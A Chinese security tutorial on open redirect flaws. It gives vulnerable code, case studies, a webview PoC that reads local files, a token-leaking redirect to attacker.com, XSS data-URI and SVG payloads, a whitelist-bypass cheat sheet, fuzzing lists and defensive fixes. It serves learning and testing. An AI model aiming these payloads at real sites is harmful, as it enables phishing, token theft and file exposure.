注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言介绍

描述: 开放式重定向(Open Redirect)漏洞,又称URL跳转漏洞,收录在CWE通用缺陷列表中,编号CWE-601,漏洞官网描述如下:
Web应用程序接受用户控制的输入,该输入指定了指向外部站点的链接,并将其用于重定向过程,这导致了网络钓鱼攻击的发生。

简单的说: Redirect重定向漏洞就是利用网站正常的跳转来达到跳转攻击者指定恶意页面URL跳转以便进入下一阶段的攻击,注意该漏洞不但Web存在而且在APP中也是存在的;

Redirect漏洞危害:

  • 网络钓鱼: 由于是从可信的站点跳转出去的,用户会比较信任,所以跳转漏洞一般用于钓鱼攻击,通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息或欺骗用户进行金钱交易;
  • 链接打开重定向
    • 信息盗取,比如CORF
    • 身份盗用,比如CSRF
    • SSRF(服务端请求伪造)
    • OAuth令牌信息披露
    • XSS
    • CRLF注入导致XSS漏洞;

0x01 重定向漏洞原理

描述: 服务端未对传入的跳转URL变量进行检查和控制,可能导致可恶意构造任意一个恶意地址诱导用户跳转到恶意网站;

URL跳转最典型的例子就是登录跳转,示例代码如下:

1
2
3
4
5
public void doRedirect(HttpServletRequest req, HttpServletResponse res)
{
String jumpURL=request.getParameter("jumptoURL");
response.setHeader("Location",jumpURL);
}

若程序未过滤jumptoURL参数,攻击者将如下恶意链接发给其他用户,安全意识较低的用户可能会认为该链接展现的内容是信任站点www.woo.org的内容,从而导致用户被欺诈。
1
http://www.woo.org/login.jsp?jumptoURL=http://www.evil.com

原理案例检测:在检测的同时可以修改参数中的合法URL为非法URL,然后查看是否能正常跳转或者通过抓包工具获取其HTTP响应头中Host的值是否包含了任意的构造URL。

如果是struts2重定向漏洞,则可通过web扫描工具扫描发现,或者在URL后添加?redirect:钓鱼链接进行验证。
如下两种方式展示了测试验证的过程:

1
2
3
4
#测试是否可以直接请求跳转:
http://locahost/admin/login.action?redirect:http://diaoyu.com
#测试action跳转的命令是否可以被执行:
http://localhost/struts2-blank/example/x.action?action:%25{3*4}

如下图所示,则可以判断存在URL重定向漏洞
WeiyiGeek.

WeiyiGeek.

TIPS:

  • 但是现在绝大部分的大网站都是不允许直接跳转网站的(常规的都有白名单),需要对其进行正则匹配测试因为有可能存在跳转的url的参数里面存在SSRF漏洞;

0x02 重定向利用

描述: 如何挖掘找到重定向漏洞测试入口点?

  • 谷歌dorking:inurl:redirectUrl=http site:target.com
  • 通常与重定向相关的功能:登录,注销,注册和密码重置页面和改变网站的语言,邮件中的链接
  • 读取JavaScript代码找寻利用点(弹出警告框)
  • 寻找常见Redirect parameters参数:Fuzz URL_Redirect Param
  • Burp代理历史& Burp站点地图(查看带有参数的url,搜索功能去寻找30X的响应码)
    • Burp Intruder & Burp Repeater
    • HTTP重定向状态码特征:
      1
      2
      3
      4
      5
      6
      7
      8
      * 300:多个选择
      * 301:永久移动
      * 302:发现跳转
      * 303:看到其他
      * 304:没有不修改
      * 305:使用代理
      * 307:临时重定向
      * 308:永久重定向
      WeiyiGeek.

      WeiyiGeek.


案例1:重定向特殊案例
在进行某个网站测试的时候发现了一个重定向网站经过测试发现绕过十分有趣,所以对其进行分享;

1
2
3
4
5
#测试URL:打开成功跳转以为跳转成功(实际是因为baidu.com在白名单之中)
https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com

#我经过了几次绕过之后发现下面的URL可以成功绕过并成功跳转成功
https://mall.m.xxxxxxx.com/jump.html?url=https:/\weiyigeek.github.io


示例2:APP url Schema
描述:url跳转到webview安全问题
我们这次的漏洞我在手机上测试的时候发现利用APP url Schema是 xxxx://app/webview?url=xxxxxxx ,任意webview跳转已经构成漏洞;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
PoC:
xxxx://app/webview?url=file:///system/etc/hosts #成功读取了手机的敏感host文件

#凸显危害进行恶意网站访问(嵌入js脚本)注意同源策略的影响
<html>
<head>
<title>test</title>
</head>
<script>
var xmlHttp; //定义XMLHttpRequest对象
function createXmlHttpRequestObject(){
//如果在internet Explorer下运行
if(window.ActiveXObject){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}catch(e){
xmlHttp=false;
}
}else{
//如果在Mozilla或其他的浏览器下运行
try{
xmlHttp=new XMLHttpRequest();
}catch(e){
xmlHttp=false;
}
}
//返回创建的对象或显示错误信息
if(!xmlHttp)
alert("error");
else
return xmlHttp;
}
function ReqHtml(){
createXmlHttpRequestObject();
path='file://'
path1='/system/etc/hosts'
xmlHttp.onreadystatechange=StatHandler; //判断URL调用的状态值并处理
xmlHttp.open("GET",path+path1,false); //调用test.txt
xmlHttp.send(null)
alert(1)
}
function StatHandler(){
if(xmlHttp.readyState==4 && xmlHttp.status==200){
document.getElementById("webpage").innerHTML=xmlHttp.responseText;
alert(xmlHttp.responseText)
}
}
ReqHtml()
StatHandler()
</script>
<body>
<div id="webpage"></div>
</body>
</html>


示例3.挖SRC的一些思路
描述:某src的一些存在重定向正常的跳转地址但是对登陆处做了白名单限制:如

1
2
3
4
5
6
7
8
9
10
11
#SRC1:无法跳转到qq.com由于白名单的原因
https://xxx.com/login?service=http://www.qq.com
#这时我们对{login}进行Redirect参数Fuzz发现可以进行任意站点跳转
https://xxx.com/logout?service=http://www.qq.com

#SRC2:发现了其中有一个字符在burp中显示回调是“-”这样的一个字符但是实际上我是用“~”这样的一个字符可以利用来二次跳转,第一它能够跳转到京东一个错误的页面,实际上京东对这里做了处理这样就能够二次跳转来进行url跳转攻击(~灵魂之所在)
https://meituan.cn/home/nxLogout?redirect_url=http://meituan.com~www.jd.com


#SRC3:某处URL请求返回一个json格式的登录信息其中最重要的就是token参数值,它利用了一个callback回调中参数302定向
- 得到了一个用户token,形成三处组合思路最后一个(用户登陆凭证劫持)利用前面三处漏洞组合

WeiyiGeek.

WeiyiGeek.


示例4:重定向夹杂敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Freebuff视频中学习到会返回到referer中
Http://localhost:5000/password_reset?token=xsadasdadasdsa&next=//attacker.com #注意这里不需要https

#我们还可以通过注入下面的有效载荷从这个重定向获得XSS。(值得学习)
http://localhost:8069/web/login?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
http://localhost:8069/web/login?redirect=data:text/html;text,<script>alert(Hello)</script>

#使用要重定向的URL(编码)的重定向参数集访问以下URL(也影响版本9)。
http://localhost:8069/web/session/logout?redirect=https%3a%2f%2fsysdream.com%2f


#访问svg文件进行跳转
思路原理:利用上传的含有恶意代码的svg头像;
#"https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489"
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
#PoC
https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489

WeiyiGeek.

WeiyiGeek.


0x03 重定向ByPass

描述:以下是一些常用重定向ByPass的方法(思路重要),但最对待任何漏洞核心思想都差不了fuzzing;

  1. @ 绕过用了浏览器的特性: http://[email protected]

    • 说明:Google和其他浏览器直接跳转百度,只有Firefox进行提示(确定后跳转)
      1
      2
      3
      4
      5
      #chrome浏览器特性其他绕过方法
      http:/\/baidu.com
      http:\//baidu.com
      /\/baidu.com
      http:\\\//baidu.com
  2. ? 问号绕过可以使用页面Referer作为后缀: https://baidu.com/?weiyigeek.com

    • 说明:绕过正则进行访问百度
  3. # 锚点绕过利用#会被浏览器解释成HTML中的锚点: http://127.0.0.1/#baidu.com

  4. xip.io 绕过: http://www.baidu.com.127.0.0.1.xip.io/

    • 说明: 这样之后会访问127.0.0.1在公网上运行自定义的dns服务器,用他的服务器提取IP地址,在响应中将他取回
      WeiyiGeek.

      WeiyiGeek.

  5. \ 反斜杠绕过: https://maxx.com/jump.html?url=https:/\baidu.com

  6. IP绕过:把目标的URL修改成IP地址(如何过滤了.号请使用十进制符号的IPv4地址),这样也有可能绕过waf的拦截(IP地址转换:http://www.geektools.com/geektools-cgi/ipconv.cgi)

  7. HPP参数污染绕过:构造相同的参数两次?next=whitelisted.com&next=google.com

  8. 编码绕过:尝试使用双url和三url编码的有效负载版本

    • 使用 /U+e280 Right to Left Override (RTLO在重定向页面上欺骗域): https://whitelisted.com%40%E2%80%[email protected]其中%40%E2%80%AE == @;
  9. 特殊字符绕过:尝试使用不同的符号重定向到IP地址(而不是域):IPv6,IPv4(十进制,十六进制或八进制)

  10. 利用XSS漏洞绕过:对于XSS尝试将alert(1)替换为 prompt(1) & confirm(1),尝试重定向它的子域上面 target.com/?redirect_url=xss.target.com

  11. 文件后缀绕过:如果选中扩展名为.jpg图片跳转可使用这种方式绕过 image_url={payload}/.jpg


URL_Redirect特殊字符绕过备忘录
描述:注意URL的白名单限制如果做的好的话真的很难绕过这时就需要与参数结合之后有可能完成绝杀;
使用方法使用burpsuite进行Request请求如下/xxx?Parameter_Payload={URL_payload}(更多的请看FUZZ字典 UrlRedirect-ByPass.txt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#打开重定向(URL重定向) ByPass payload
?url=https://allow_domain.weiyigeek.com
?url=https://[email protected]
?url=https://www.weiyigeek.com#allow_domain
?url=https://www.weiyigeek.com?allow_domain
?url=https://www.weiyigeek.com\allow_domain
?url=https://www.weiyigeek.com&allow_domain
?url=http:///////////www.weiyigeek.com
?url=http:\\www.weiyigeek.com
?url=http:\/\/www.weiyigeek.com
?url=https://www.weiyigeek.com%40%E2%80%AEallow_domain
?url=https://[email protected]"twitter.com
?url=https://[email protected]'twitter.com
?url=https://[email protected]/twitter.com


0x04 安全防御

1.若跳转的URL事先是可以确定的,包括URL和参数的值,则可以在后台先配置好,URL参数只需传对应URL的索引即可,通过索引找到对应具体URL再进行跳转;
2.若跳转的URL事先不确定,但其输入是由后台生成的(不是用户通过参数传人),则可以先生成好跳转链接然后进行签名,而跳转首先需要进行验证签名通过才能进行跳转;
3.若1和2都不满足,URL事先无法确定,只能通过前端参数传入,则必须在跳转的时候对URL进行规则校验:即校验URL是否是授权的白名单或者是符合规则的URL,参考代码示例如下。

1
2
3
4
function checkURL (sURL) {
return (/^(https?:\/\/)?[\w\-.]+\.(yourDomainA|yourDomainB|yourDomainC)\.com($|\/|\\)/i).test
(sUrl)||(/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false;
}

4.通过对Referer的限制:如果确定传递URL参数进入的来源,我们可以通过该方式实现安全限制,保证该URL的有效性,避免恶意用户自己生成跳转链接;
5.加入有效性验证Token:保证所有生成的链接都是来自于可信域的,通过在生成的链接里加入用户不可控的Token对生成的链接进行校验,可以避免用户生成自己的恶意链接从而被利用,在跳转时做判断,指定跳转的值。当用户访问需要跳转URL的页面时,生成随机token,并保存到Cookie中,后台应用程序在跳转前,判断token是否和cookie中的token一致。
6.理论上讲,URL跳转属于CSRF的一种,跳转URL检测中也加入了CRLF头部注入漏洞的检测逻辑, 具体就是在请求参数中加入了%0d%0a这种测试代码,需要对这些参数进行删除处理;
7.如果为Struts2重定向漏洞,则需要更新相关的struts2的版本到最新。


0x05 补充附录

1) URL_Redirect Parameter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
action=https://weiyigeek.github.io
action_url=https://weiyigeek.github.io
allinurl:https://weiyigeek.github.io
backurl=https://weiyigeek.github.io
burl=https://weiyigeek.github.io
callback_url=https://weiyigeek.github.io
/cgi-bin/redirect.cgi?https://weiyigeek.github.io
checkout_url=https://weiyigeek.github.io
click?u=https://weiyigeek.github.io
clickurl=https://weiyigeek.github.io
continue=https://weiyigeek.github.io
data=https://weiyigeek.github.io
dest=https://weiyigeek.github.io
destination=https://weiyigeek.github.io
desturl=https://weiyigeek.github.io
ext=https://weiyigeek.github.io
forward=https://weiyigeek.github.io
forward_url=https://weiyigeek.github.io
go=https://weiyigeek.github.io
goto=https://weiyigeek.github.io
/https://weiyigeek.github.io
@https://weiyigeek.github.io
image_url=https://weiyigeek.github.io
jump=https://weiyigeek.github.io
jump_url=https://weiyigeek.github.io
j?url=https://weiyigeek.github.io
linkAddress=https://weiyigeek.github.io
link=https://weiyigeek.github.io
location=https://weiyigeek.github.io
login=https://weiyigeek.github.io
/login?to=https://weiyigeek.github.io
logout=https://weiyigeek.github.io
next=https://weiyigeek.github.io
origin=https://weiyigeek.github.io
originUrl=https://weiyigeek.github.io
/out?https://weiyigeek.github.io
/out/https://weiyigeek.github.io
page=https://weiyigeek.github.io
pic=https://weiyigeek.github.io
q=https://weiyigeek.github.io
qurl=https://weiyigeek.github.io
recurl=https://weiyigeek.github.io
/redirect/https://weiyigeek.github.io
redirect=https://weiyigeek.github.io
Redirect=https://weiyigeek.github.io
redirect_uri=https://weiyigeek.github.io
redirect_url=https://weiyigeek.github.io
RedirectUrl=https://weiyigeek.github.io
redir=https://weiyigeek.github.io
request=https://weiyigeek.github.io
return=https://weiyigeek.github.io
return_path=https://weiyigeek.github.io
return_to=https://weiyigeek.github.io
returnTo=https://weiyigeek.github.io
ReturnUrl=https://weiyigeek.github.io
rit_url=https://weiyigeek.github.io
rurl=https://weiyigeek.github.io
service=https://weiyigeek.github.io
sp_url=https://weiyigeek.github.io
src=https://weiyigeek.github.io
success=https://weiyigeek.github.io
target=https://weiyigeek.github.io
tc?src=https://weiyigeek.github.io
u1=https://weiyigeek.github.io
u=https://weiyigeek.github.io
uri=https://weiyigeek.github.io
url=//https://weiyigeek.github.io
url=https://weiyigeek.github.io
Url=https://weiyigeek.github.io
view=https://weiyigeek.github.io

补充:
1
2
#Struct2重定向漏洞
redirect:https://weiyigeek.github.io


  • 基础元字符字典Bypass-Payload:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    List:
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
    ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
    ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
    ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
    Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
    ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
    ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
    - ~ ? %


2)URL_Redirect byPass

  • Payload参考:https://github.com/cujanovic/Open-Redirect-Payloads/blob/master/Open-Redirect-payloads.txt
    1
    WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".tmp && sed 's/@www.whitelisteddomain.tld/@'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".tmp > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{if ($1 =="www") print "//not"$2"."$NF"/"; else print "//not"$1"."$NF"/";}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{if ($1 =="www") print "http://not"$2"."$NF"/"; else print "http://not"$1"."$NF"/";}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "http://"$0"."$NF"/"}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && rm -f Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".tmp && echo -e "\nDone. Filename: $(pwd)/Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt"
WeiyiGeek.

WeiyiGeek.


3) 参考网站